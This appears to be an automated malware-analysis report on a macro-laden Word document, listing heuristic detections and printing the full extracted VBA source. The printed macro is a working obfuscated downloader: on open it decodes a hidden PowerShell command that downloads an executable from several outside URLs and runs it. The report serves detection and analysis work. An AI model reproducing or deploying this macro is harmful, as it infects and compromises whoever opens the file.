MALICIOUS
310
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1204.002 Malicious File
The sample is a malicious Word document containing VBA macros. The AutoOpen macro initiates the execution of a Base64-decoded shell command stager, which is designed to download and execute a second-stage payload from the specified URLs. The presence of CreateObject and Shell calls within the VBA code strongly indicates a downloader functionality.
Heuristics 9
-
ClamAV: Doc.Downloader.WithMacro-6310867-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.WithMacro-6310867-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
cmUpAn = 136 DI5Zf = Shell(ASVQLWow(twpbFK), mXjpdFC) Dim hZ46XKH -
VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGERVBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.Matched line in script
EGtfxg = Int(30809.724606919) Set QaI3UokbV = CreateObject("msxml2.domdocument") Dim LE4ynQLH As Single -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
EGtfxg = Int(30809.724606919) Set QaI3UokbV = CreateObject("msxml2.domdocument") Dim LE4ynQLH As Single -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "Module1" Sub AutoOpen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 18443 bytes |
SHA-256: e3d6920002a559314de8423e488eb32759d2eae5b66798444999a0b1b2ff93ce |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub AutoOpen()
Dim mX1ta As Byte
mX1ta = 209
Dim jGCov0 As Byte
jGCov0 = 105
Dim OCL90ae6 As Boolean
OCL90ae6 = False
Dim wuHcif3N As Integer
wuHcif3N = 21736
l2B9S
End Sub
Attribute VB_Name = "Module2"
Public Function ASVQLWow(ByVal bnmIzA)
Dim gtAIRZ As Single
gtAIRZ = 10576.614854661
Dim fikKL4s As Boolean
fikKL4s = False
Dim RsxRfFy5 As Byte
RsxRfFy5 = 79
Dim Lg6c5T As Boolean
Lg6c5T = True
Dim nTVWvI9NY As Integer
nTVWvI9NY = Sgn(3221)
Dim QaI3UokbV
Dim VivLrCB
Dim fekbTPs As Integer
fekbTPs = 11616
Dim ObJ6gIKB As Single
ObJ6gIKB = 4331.6060342966
Dim UAgFf As Boolean
UAgFf = True
Dim zGuaryMc As Long
zGuaryMc = 0
Dim EGtfxg As Double
EGtfxg = Int(30809.724606919)
Set QaI3UokbV = CreateObject("msxml2.domdocument")
Dim LE4ynQLH As Single
LE4ynQLH = Int(49772.231062562)
Dim R3CJU As Integer
R3CJU = Sgn(19978)
Dim eNgP1Lh3 As Integer
eNgP1Lh3 = Sgn(-9233)
Dim dmWVDJGa As Integer
dmWVDJGa = Sgn(-11553)
Dim KYkUgTxR As String
KYkUgTxR = UCase(Z8YXV)
Dim t3WcoBCM
t3WcoBCM = Len(Uy0W2)
Set VivLrCB = QaI3UokbV.CreateElement(g7HJTio)
Dim vESImcsPi As Integer
vESImcsPi = -8868
Dim hvQWh As Byte
hvQWh = 182
Dim H9su4L As Single
H9su4L = Sgn(45832.907428939)
Dim p6ph9Qf As Double
p6ph9Qf = Sgn(39107.615549378)
Dim ZTSbNWYy
ZTSbNWYy = Len(vwytGQ)
With VivLrCB
Dim JeniUNb6 As Double
JeniUNb6 = Val(22102.626610052)
Dim HxebDrL As Byte
HxebDrL = 146
VivLrCB.DataType = "bin." & g7HJTio
Dim OCnGXWShY As Integer
OCnGXWShY = Sgn(19033)
Dim FmxhpDck As Double
FmxhpDck = Round(61838.617399594)
Dim ZvnPB As Byte
ZvnPB = 66
Dim PwfNM As Double
PwfNM = 18481.057108641
Dim k0T85Plj As Integer
k0T85Plj = 15270
VivLrCB.Text = bnmIzA
End With
Dim BUzVeDaL As Single
BUzVeDaL = 59939.685904971
Dim EbgNmWjXG As Single
EbgNmWjXG = 2859.0427096407
ASVQLWow = dyGqXsrWR(VivLrCB.nodeTypedValue)
Dim RfRFTpA5 As Double
RfRFTpA5 = 52106.846991498
Dim DbfJlniy As Boolean
DbfJlniy = False
Dim cW8kw As Single
cW8kw = 7900.9638065702
Dim K7NLTosl As String
K7NLTosl = LTrim(f3UCO62eT)
Dim gtYqm9b2 As Long
gtYqm9b2 = 0
Set VivLrCB = Nothing
Set QaI3UokbV = Nothing
End Function
Function dyGqXsrWR(Binary)
Dim idRsfk As Double
idRsfk = Round(40948.548232601)
Dim JBZjK7Rz4 As Integer
JBZjK7Rz4 = Sgn(24124)
Dim wq89hJHn As Double
wq89hJHn = Round(20880.230068176)
Const MpML25E0 = 2
Const heD5yOC0V = 1
Dim Zv8Xi As Boolean
Zv8Xi = False
Dim OmHyEk8iZ As Integer
OmHyEk8iZ = Sgn(31475)
Dim Xw2Rluh5Q
Xw2Rluh5Q = Trim(gGSPdV)
Dim YUHAG
Dim DUVe3chP As Long
DUVe3chP = 0
Dim N0gakG As Byte
N0gakG = 71
Dim suL5Gklgm As Double
suL5Gklgm = Int(29343.222255617)
Dim VFstCGUeK As Integer
VFstCGUeK = 15158
Dim JVPhxS As Boolean
JVPhxS = True
Set YUHAG = CreateObject("adodb.stream")
Dim c81re0zn As Byte
c81re0zn = 179
Dim oMu0K As Single
oMu0K = Val(44460.947766004)
With YUHAG
Dim ZGDSBg As Boolean
ZGDSBg = True
Dim HS9vl As Byte
HS9vl = 145
Dim gUZ8e As Long
gUZ8e = -1780992226
Dim mhPKVS9ac As String
mhPKVS9ac = vbNullString
.Type = heD5yOC0V
Dim llILH2EK As Boolean
llILH2EK = False
Dim Dto1jIb As Double
Dto1jIb = 45013.488452617
Dim puJx2h5 As Single
puJx2h5 = Sgn(17532.274746306)
.Open
Dim ocazMu As Long
ocazMu = Sgn(-1341111164)
Dim NZkIlxRAT As Long
NZkIlxRAT = Sgn(-190627132)
Dim UGvtwfYB4 As String
UGvtwfYB4 = LCase(byvbWxO)
.Write Binary
Dim nlqSD5wLd As Boolean
nlqSD5wLd = False
Dim zQOPuf As Integer
zQOPuf = 26765
Dim HwU6o As Long
HwU6o = Sgn(0)
.Position = 0
Dim XF61olhJ9 As Integer
XF61olhJ9 = -12766
Dim lM86Ew As Single
lM86Ew = Fix(29508.353285302)
Dim yxbnW3C6 As Double
yxbnW3C6 = 21349.48000075
.Type = MpML25E0
Dim EibTz As Double
EibTz = Sgn(38470.235853499)
Dim cRgm6IOD As String
cRgm6IOD = Asc("B")
Dim gFc870QDm
gFc870QDm = "O"
Dim iUxdz7 As Integer
iUxdz7 = Sgn(25699)
Dim PZprJs As Double
PZprJs = Round(55431.077180359)
Dim uRX67g As String
uRX67g = StrConv(MRmjxg, vbProperCase)
Dim e1mcs As String
e1mcs = AscW("+")
.CharSet = "ascii"
Dim eYJbhnckC As Boolean
eYJbhnckC = True
Dim Gh3DLJOPB As Long
Gh3DLJOPB = -1995041508
dyGqXsrWR = .ReadText
End With
Dim McwbP79 As Integer
McwbP79 = 19106
Dim ZDSiRL7 As Double
ZDSiRL7 = 25470.351223086
Dim qGmRA4tvg As Long
qGmRA4tvg = -1051937584
Set YUHAG = Nothing
End Function
Attribute VB_Name = "Module3"
Public Sub l2B9S()
Dim yXHTn As Double
yXHTn = Sgn(33842.621830951)
Dim QoWj5kxy As Double
QoWj5kxy = 61217.051976996
Dim Cdn9lQA As Byte
Cdn9lQA = 63
Dim pc4somwl As Long
pc4somwl = Sgn(-1998180886)
Dim rd1M2kn As Integer
rd1M2kn = Sgn(14123)
Dim POrhy5 As Boolean
POrhy5 = False
Dim cbZG9Ary1 As String
Dim eoJUQ As Integer
eoJUQ = -24716
Dim lQv0aI
lQv0aI = Val("S")
Dim Iqcte As Single
Iqcte = 20402.761449753
Dim kJGP1 As Long
kJGP1 = Sgn(-141013526)
Dim vehMfNY As Long
vehMfNY = Sgn(-1649491010)
Dim G4J7AoUS As Double
G4J7AoUS = 18492.705185615
Dim zd51JfQ As String
zd51JfQ = AscB("I")
Dim hyWPcsY As Long
hyWPcsY = Sgn(-2088970556)
Dim NXDzur As Double
NXDzur = Round(49057.229685228)
Dim eqjrK5I As Boolean
eqjrK5I = True
Dim DSvEMej1 As Boolean
DSvEMej1 = True
Dim m6dFWIP
m6dFWIP = UCase(gloP7dv)
Dim Eqpz1v
Eqpz1v = "K"
Dim cyTvO As Boolean
cyTvO = False
Dim BHEJl1LF As Boolean
BHEJl1LF = False
Dim IW9avO As Double
IW9avO = Sgn(17678.536342947)
Dim wF7ofDV As Boolean
wF7ofDV = True
Dim cNP2xzCJ As Boolean
cNP2xzCJ = False
Dim hPk6gZeL9 As Single
hPk6gZeL9 = Round(43164.146748308)
Dim YUEz1I8D As Double
YUEz1I8D = Round(52615.361920479)
Dim QB1DFzYU As Boolean
QB1DFzYU = True
Dim IqaNz As Byte
IqaNz = 210
Dim iFPtj1T As Boolean
iFPtj1T = True
EUwBq
Dim Os70fl83 As Integer
Os70fl83 = Sgn(-27270)
Dim iG5lUkYPa As Single
iG5lUkYPa = Fix(7545.0424090337)
Dim wALxj9c As Long
wALxj9c = -1575598508
Dim C9Okjs As Single
C9Okjs = Fix(13060.91734638)
Dim LKdwGl As Double
LKdwGl = Sgn(32092.091426748)
Dim mTJZfv As Byte
mTJZfv = 3
Dim furZdT As Single
furZdT = 46631.932672925
Dim eLBRfSdz As Long
eLBRfSdz = Sgn(0)
Dim m01YpKT As Byte
m01YpKT = 189
Dim M8gOTFzk As String
M8gOTFzk = Len(aLJks3U)
Dim Mz0V6dGNX
Mz0V6dGNX = Trim(bSw5si)
Dim cmUpAn As Byte
cmUpAn = 136
DI5Zf = Shell(ASVQLWow(twpbFK), mXjpdFC)
Dim hZ46XKH
hZ46XKH = "E"
Dim De2dVx As Long
De2dVx = Sgn(-483503422)
Dim lJSP1t8rc As Boolean
lJSP1t8rc = True
Dim Qw5qQ As Integer
Qw5qQ = 29705
Dim rEGsy As Single
rEGsy = Sgn(5713.0866398578)
Dim NZQH7LrO As Byte
NZQH7LrO = 189
Dim KnOpZu As Integer
KnOpZu = Sgn(10467)
Dim TkZb0i As Double
TkZb0i = Sgn(29639.759303776)
Dim iDdpvgK As Double
iDdpvgK = Val(43012.697394993)
Dim puNMc7Anj
puNMc7Anj = Len(vm4Ee)
Dim IcrWLSB As Integer
IcrWLSB = Sgn(26861)
Dim Xu2Bjo As Double
Xu2Bjo = Val(18050.673649492)
Dim vOE4KM As Long
vOE4KM = 0
Dim ka0j1 As Byte
ka0j1 = 108
Dim MnRoZ As String
MnRoZ = StrConv(f0El2zIm, vbProperCase)
Dim RF4nEsrev As Byte
RF4nEsrev = 63
Dim M79lhOMo As Integer
M79lhOMo = -23622
Dim GEug4 As Single
GEug4 = 54404.03682424
Dim A9XQhf As Integer
A9XQhf = 27170
Dim EFmTLHyg As Single
EFmTLHyg = Round(32959.744897866)
Dim TjQy3 As Single
TjQy3 = Sgn(39369.543169865)
Dim r7TemYSJQ As Single
r7TemYSJQ = 18130.227766112
Dim rYDMN8Q As Double
rYDMN8Q = Sgn(17269.844417412)
Dim ZvlNFznMY As String
ZvlNFznMY = StrConv(UjSKim, vbUpperCase)
Dim vIZzd As Byte
vIZzd = 38
Dim a5T9dEVIZ As Boolean
a5T9dEVIZ = False
Dim Dwrlv As Single
Dwrlv = Round(38800.785323041)
Dim kBqRn5CfS As Integer
kBqRn5CfS = Sgn(12213)
Dim vj14GlWiX As Integer
vj14GlWiX = Sgn(20498)
Dim t5LgiGWV As Integer
t5LgiGWV = Sgn(-21569)
Dim usBDZF1 As Double
usBDZF1 = Sgn(38549.799796629)
'
Dim m6fgET8 As Byte
m6fgET8 = 171
Dim II3U7gbA As Boolean
II3U7gbA = True
Dim d1PNfC As Boolean
d1PNfC = False
Dim pgrs58K6R As Integer
pgrs58K6R = Sgn(-29887)
'
Dim qyuXhl As Integer
qyuXhl = Sgn(16501)
Dim ThWJDrw As Long
ThWJDrw = 0
'
Dim NMBdoyA As Single
NMBdoyA = Round(47322.394507047)
Dim kZOpE9o As Double
kZOpE9o = Int(65428.390968077)
Dim znaVroM As Byte
znaVroM = 174
Dim EwkYoc
EwkYoc = LCase(G8leF)
Dim S6ngS As Single
S6ngS = Sgn(17976.020092994)
'
Dim S8UoNDa As Single
S8UoNDa = 36929.663127734
Dim q5kOPsf4p As Double
q5kOPsf4p = Sgn(17889.113518786)
Dim A1KLj As Integer
A1KLj = -28883
Dim DJ9i7q As Long
DJ9i7q = Sgn(0)
Dim uDdr3A As Single
uDdr3A = Sgn(28645.025218272)
'
Dim gFjJmwzb As Long
gFjJmwzb = Sgn(-32398542)
Dim Nu0Y1h2cx As Double
Nu0Y1h2cx = Val(38884.364280699)
Dim sqX1Leg As Single
sqX1Leg = Sgn(20044.17078135)
Dim IUnoL As String
IUnoL = Len(Mw91iU)
Dim QErS3IVM6 As Double
QErS3IVM6 = Round(1093.7006108797)
End Sub
Attribute VB_Name = "Module4"
Public twpbFK As String
Public Const mXjpdFC As Integer = 0
Public Const g7HJTio As String = "base64"
Sub EUwBq()
Dim DUJ96Xmw As Double
DUJ96Xmw = Sgn(58466.108405089)
Dim jKZk6 As Single
jKZk6 = 45900.661645946
Dim fZd1arF2 As Single
fZd1arF2 = 38480.513498466
Dim zi95GJS62 As Boolean
zi95GJS62 = False
Dim W39AcCO As Byte
W39AcCO = 22
Dim tPdkS As Single
tPdkS = Sgn(63867.793034636)
Dim d5N2qdCzX As String
d5N2qdCzX = StrConv(EPVq53, vbLowerCase)
Dim hMSftB As Integer
hMSftB = Sgn(7514)
Dim knu8SAX6 As Byte
knu8SAX6 = 135
Dim KO7Ednbt As Long
KO7Ednbt = 0
Dim k8wXYV3mR As Single
k8wXYV3mR = 49693.71330711
Dim lXQiNGqC As Double
lXQiNGqC = Int(12987.675999817)
Dim UILf6GZx As Integer
UILf6GZx = Sgn(10378)
Dim jkbuUGxET As Long
jkbuUGxET = 0
Dim zYFyXlJv As Integer
zYFyXlJv = Sgn(-22226)
Dim becgPqt4L As Single
becgPqt4L = 17678.345519438
Dim ZpAD51k As Boolean
ZpAD51k = False
Dim cEv81o9h
cEv81o9h = "0cDovL2V0ZWNoZm9jdXMuY29tL2twN3AteGc0OTItaGIvLGh0dHA6Ly9vbmRhc3VyZW5hL"
Dim P4AwW6 As Integer
P4AwW6 = Sgn(635)
Dim uC87THo As Boolean
uC87THo = True
Dim pl0KM As Single
pl0KM = Round(8464.5813813477)
Dim tvt6pF
tvt6pF = "mNvbS9mZjJidC1tYz"
Dim KXpd6vS7A As Byte
KXpd6vS7A = 108
Dim C4T3as As Boolean
C4T3as = True
Dim j59eF0zG As String
j59eF0zG = "EyMi1xLycuU3BsaXQoJywnKTskbmFtZSA9"
Dim TY6WL As Double
TY6WL = Sgn(60315.724397212)
Dim uplD1Lk As Integer
uplD1Lk = 8693
Dim G7SUY6Qao As Double
G7SUY6Qao = 17917.683640253
Dim fQebMv As Integer
fQebMv = -13497
Dim ZoRbfk9Ui
ZoRbfk9Ui = cEv81o9h & tvt6pF & j59eF0zG
Dim hBwyGUuo As Integer
hBwyGUuo = -7651
Dim WihGN As Long
WihGN = 0
Dim PjxR0h As Single
PjxR0h = Val(27172.626502925)
Dim Z9ErSAG As Single
Z9ErSAG = 36273.944630377
Dim ZXBst As Boolean
ZXBst = False
Dim OHJACc3R4 As Double
OHJACc3R4 = Fix(19776.592734234)
Dim dwz4e
dwz4e = "2h0dHA6Ly9ocmhlZ25hdWVyLmNvbS9udmQ4dmdmLXBpMzQyLXdyZXMvLGh0dHA6Ly9"
Dim vIWAk6z As Integer
vIWAk6z = -23306
Dim wUVIFZ As Integer
wUVIFZ = -24516
Dim X6cJO As Double
X6cJO = Int(34138.75599218)
Dim uCpxDBM
uCpxDBM = "nZXRy"
Dim tNuXbDEJ As Byte
tNuXbDEJ = 89
Dim dDSThefxW As Boolean
dDSThefxW = True
Dim JVXW0gYQ As String
JVXW0gYQ = Val(sjkT8wy)
Dim yE5alcwtZ As Integer
yE5alcwtZ = -28751
Dim QmedRrO8c As Double
QmedRrO8c = 50391.84168095
Dim hIsNEDUT As String
hIsNEDUT = AscB("R")
Dim anLOk
anLOk = dwz4e & uCpxDBM
Dim gLGiJ5Hcq As Byte
gLGiJ5Hcq = 87
Dim eKuTzQ8 As Double
eKuTzQ8 = Sgn(49213.1720121)
Dim LnJXbPY
LnJXbPY = "ICRyYW5kb20ubmV4dCgxLCA2NTUzNik7"
Dim MbEZVQ As Integer
MbEZVQ = Sgn(-19453)
Dim R963QN0IM As String
R963QN0IM = StrConv(FhQAxyCmR, vbProperCase)
Dim KozmDGQp As Single
KozmDGQp = Sgn(32404.356415274)
Dim OIVcu0 As Long
OIVcu0 = -1377857498
Dim gOaPx
gOaPx = "JHBhdGggPSAkZW52OnRlbXAgKy"
Dim PMyY1n8cP As String
PMyY1n8cP = Asc("_")
Dim x0Gisz As Double
x0Gisz = 3864.8922874579
Dim xWXyt As Double
xWXyt = 33794.681002337
Dim aUnT4QxcW As Single
aUnT4QxcW = Sgn(15220.527823283)
Dim TmyPsQjGt As String
TmyPsQjGt = "AnXCcg"
Dim bNDax As Long
bNDax = -32435070
Dim UHsjkayL As Single
UHsjkayL = Sgn(57476.918821314)
Dim xOEWyFRQT As Double
xOEWyFRQT = Fix(38011.944158553)
Dim iJsaSUwI As String
iJsaSUwI = "KyAkbmFtZSArICcu"
Dim ex97JZPlL As Single
ex97JZPlL = 46004.845575398
Dim Xxmb8zPuY As Integer
Xxmb8zPuY = Sgn(-22937)
Dim eqml8DM
eqml8DM = LnJXbPY & gOaPx & TmyPsQjGt & iJsaSUwI
Dim scSMo0 As String
scSMo0 = Val(ICMKraQ0L)
Dim cWXPKI0 As Byte
cWXPKI0 = 237
Dim SZoKuIH As Integer
SZoKuIH = 22315
Dim uqYrp
uqYrp = Chr(108)
Dim ISd2nwf As Integer
ISd2nwf = -21498
Dim fuXWwky As Long
fuXWwky = Sgn(0)
Dim aNnysTkG As Single
aNnysTkG = Val(41568.474947249)
Dim EpmS2g As Boolean
EpmS2g = False
Dim W1PgjD
W1PgjD = "YmNsaWVudCA9IG5"
Dim byOloU As Single
byOloU = Sgn(22513.064328088)
Dim nbYZA As Boolean
nbYZA = False
Dim sKc2uM As Single
sKc2uM = 47991.482765359
Dim qfucBwgj9 As String
qfucBwgj9 = "ldy1vYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJhbmR"
Dim c947O As Byte
c947O = 32
Dim IdHaek As Integer
IdHaek = -27649
Dim rLzdwsbS As Byte
rLzdwsbS = 118
Dim Qxq3R
Qxq3R = StrConv(jTdlEX, vbProperCase)
Dim rY3X8TRQm As Byte
rY3X8TRQm = 48
Dim lIdADxb7 As String
lIdADxb7 = "vbSA9IG5ldy1vYmplY3QgcmFuZG9tOyR1cmxzID0gJ"
Dim bhd6iF1I
bhd6iF1I = LCase(mwKWtnuV)
Dim o1eExu As Byte
o1eExu = 235
Dim VmrBN6vhV As Long
VmrBN6vhV = -410631374
Dim StjfEd As Byte
StjfEd = 19
Dim Aowr74Eak As Double
Aowr74Eak = Round(5931.492309736)
Dim BtKTv8mJG
BtKTv8mJG = uqYrp & W1PgjD & qfucBwgj9 & lIdADxb7
Dim UZgE7O
UZgE7O = Val("!")
Dim Ockvia0j As Long
Ockvia0j = Sgn(0)
Dim KvCfxN As Long
KvCfxN = Sgn(-1116684242)
Dim k8rVAS As Single
k8rVAS = Int(50915.261625821)
Dim b7uIkXl As Double
b7uIkXl = Sgn(15335.114365281)
Dim VkhS9N
VkhS9N = "dGlvbi5NZXNzYWdlO3"
Dim d3ugvOo2H As Single
d3ugvOo2H = Sgn(51043.121677799)
Dim uUYbJ0 As Byte
uUYbJ0 = 177
Dim K97Tfent As String
K97Tfent = Val(rxOcP)
Dim BHyVRi3NE As Double
BHyVRi3NE = Sgn(22642.410899171)
Dim nZt2ei
nZt2ei = AscB("_")
Dim h98Lok As Boolean
h98Lok = True
Dim BlAwo6H7
BlAwo6H7 = "19"
Dim KNwWfjAGi As Boolean
KNwWfjAGi = False
Dim oVs2lgjY As Single
oVs2lgjY = Val(33226.807968696)
Dim shQpvm As Integer
shQpvm = Sgn(-30479)
Dim cLtHBeExX As Boolean
cLtHBeExX = False
Dim iDaP0q As Integer
iDaP0q = Sgn(10385)
Dim jCGK1U9ek
jCGK1U9ek = VkhS9N & BlAwo6H7
Dim Nd7qTg1 As Double
Nd7qTg1 = Sgn(41849.734914872)
Dim lthGZqmDe
lthGZqmDe = Len(DYrdkWcxn)
Dim a4G10Z3 As Boolean
a4G10Z3 = True
Dim PQYjTu6st As Double
PQYjTu6st = 38923.249949388
Dim w4z3FvAEh As Byte
w4z3FvAEh = 84
Dim xk2E9hd14
xk2E9hd14 = "RmlsZSgkdXJsLlRvU3RyaW5nKCksICRwYXRoKTtTdGFydC1Qc"
Dim AGAcz As String
AGAcz = Asc("O")
Dim fZQWyx As Single
fZQWyx = Sgn(18763.107255879)
Dim l1TEt
l1TEt = "m9jZXNzICRwYXRoO2JyZWFrO31jYXRjaHt3cml0ZS1ob3N0ICRfLkV4Y2Vw"
Dim yVsEYh As Double
yVsEYh = Fix(61399.958492765)
Dim fYOZ9 As Single
fYOZ9 = Sgn(35097.267149199)
Dim upjr6Wvl As Boolean
upjr6Wvl = True
Dim kNk7v As Integer
kNk7v = Sgn(455)
Dim pMB7Z As Single
pMB7Z = Sgn(23468.628111788)
Dim DP2QfwWkq As Long
DP2QfwWkq = 0
Dim nGXWVkvea
nGXWVkvea = xk2E9hd14 & l1TEt
Dim IRiYUC As Boolean
IRiYUC = False
Dim gdIi5ry2 As Integer
gdIi5ry2 = 26912
Dim Q2Bed5R
Q2Bed5R = Trim(kVAxw)
Dim QfSUAhxTX As String
QfSUAhxTX = "dWRlbWFnYXppbmUu"
Dim Nm1TR As Long
Nm1TR = 0
Dim pr93d As Byte
pr93d = 220
Dim SFRL29
SFRL29 = "Y29tL294OWljLWVnNDI2LWR0dy8saHR0cDovL3N0ZWF"
Dim KTYkaEA As Double
KTYkaEA = Fix(34650.34313999)
Dim nvhPIxJNf
nvhPIxJNf = Val(MojHqGtc)
Dim RL9FCJtfr As String
RL9FCJtfr = "tc2hvdmVsLm5ldC9yZXI5dmQtbW40NDIt"
Dim HSoTwf As Long
HSoTwf = 0
Dim q5yVz4K As Double
q5yVz4K = Sgn(64606.601666531)
Dim xfEX4Nn As Boolean
xfEX4Nn = True
Dim eiPmMH As Double
eiPmMH = 15974.300918404
Dim lE06B
lE06B = "eC8saHR"
Dim KFdsVHnUI As Boolean
KFdsVHnUI = True
Dim r0WScaYnI As Long
r0WScaYnI = 0
Dim O8Oth5Tx As Single
O8Oth5Tx = Fix(27534.771926752)
Dim rMJOV0mCi
rMJOV0mCi = QfSUAhxTX & SFRL29 & RL9FCJtfr & lE06B
Dim SXnQ3LU As Integer
SXnQ3LU = -15335
Dim etA0g As Byte
etA0g = 31
Dim L3KpmbHDz As String
L3KpmbHDz = "cG93ZXJzaGVsbCAtV2luZG93U3R5bGUgSGlkZGVuICR3c2NyaXB0ID0gbmV3LW9ia"
Dim rQuPYdaXq As Double
rQuPYdaXq = 42155.525179022
Dim dJ5HzxO As Byte
dJ5HzxO = 86
Dim nVIaxv As Boolean
nVIaxv = False
Dim jIq98R As String
jIq98R = "mVjdCAtQ29tT2JqZWN0IFdTY3JpcHQu"
Dim Ml1M3FXCv As Long
Ml1M3FXCv = -1843987808
Dim GhEpx6A As Byte
GhEpx6A = 255
Dim AFs7J
AFs7J = "U2hlbGw7JHd"
Dim jaUf73 As Single
jaUf73 = Sgn(41541.278706223)
Dim buRYOKcg As Long
buRYOKcg = Sgn(0)
Dim c1mCsB9H As Integer
c1mCsB9H = 14357
Dim yly1vFZ28 As Byte
yly1vFZ28 = 142
Dim WqDivFh
WqDivFh = Asc("9")
Dim LzoldjyS
LzoldjyS = L3KpmbHDz & jIq98R & AFs7J
Dim wra8KULT As Double
wra8KULT = Int(9557.7208893508)
Dim Jkx61q As String
Jkx61q = Len(b5uGcA)
Dim KjMC3zI
KjMC3zI = "ZXhlJztmb3JlYWNoKCR1cmwgaW4gJHV"
Dim RDUad5
RDUad5 = LTrim(NdWN1fbe)
Dim pdaquLYp6
pdaquLYp6 = ""
Dim Sq4mMapJ As String
Sq4mMapJ = "ybHMpe3Rye"
Dim ML5Owu As Single
ML5Owu = Sgn(17389.43576599)
Dim rWxQwBH As Integer
rWxQwBH = Sgn(9236)
Dim KDNLK
KDNLK = "Xskd2ViY2"
Dim AXG4aY As Double
AXG4aY = 25952.794771836
Dim l9bMzaR As Double
l9bMzaR = 17361.313116955
Dim FJg2TFKXR As Boolean
FJg2TFKXR = True
Dim XxBhKT6
XxBhKT6 = "xpZW50LkRvd25sb"
Dim lJg0n5
lJg0n5 = ""
Dim pDCYZ As Double
pDCYZ = 25947.627095422
Dim N8chD As Single
N8chD = 59490.278870839
Dim Pjn9phx6 As Single
Pjn9phx6 = Int(33417.951572134)
Dim GqWEC8jx As Long
GqWEC8jx = 0
Dim Hjfg9q As String
Hjfg9q = "2Fk"
Dim iLC6A As Single
iLC6A = 10814.412563148
Dim mazqZ As Long
mazqZ = Sgn(-737341968)
Dim r5MTUp As Integer
r5MTUp = 5980
Dim dgvGsq7M
dgvGsq7M = AscW("M")
Dim UXDyUWbL As Integer
UXDyUWbL = Sgn(20164)
Dim ZmfzTIw
ZmfzTIw = StrConv(aCNBy, vbUpperCase)
Dim sxGDr
sxGDr = KjMC3zI & Sq4mMapJ & KDNLK & XxBhKT6 & Hjfg9q
Dim svauP07pF As Byte
svauP07pF = 29
Dim UTm8XPe4 As Byte
UTm8XPe4 = 149
twpbFK = LzoldjyS & BtKTv8mJG & anLOk & rMJOV0mCi & ZoRbfk9Ui & eqml8DM & sxGDr & nGXWVkvea & jCGK1U9ek
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.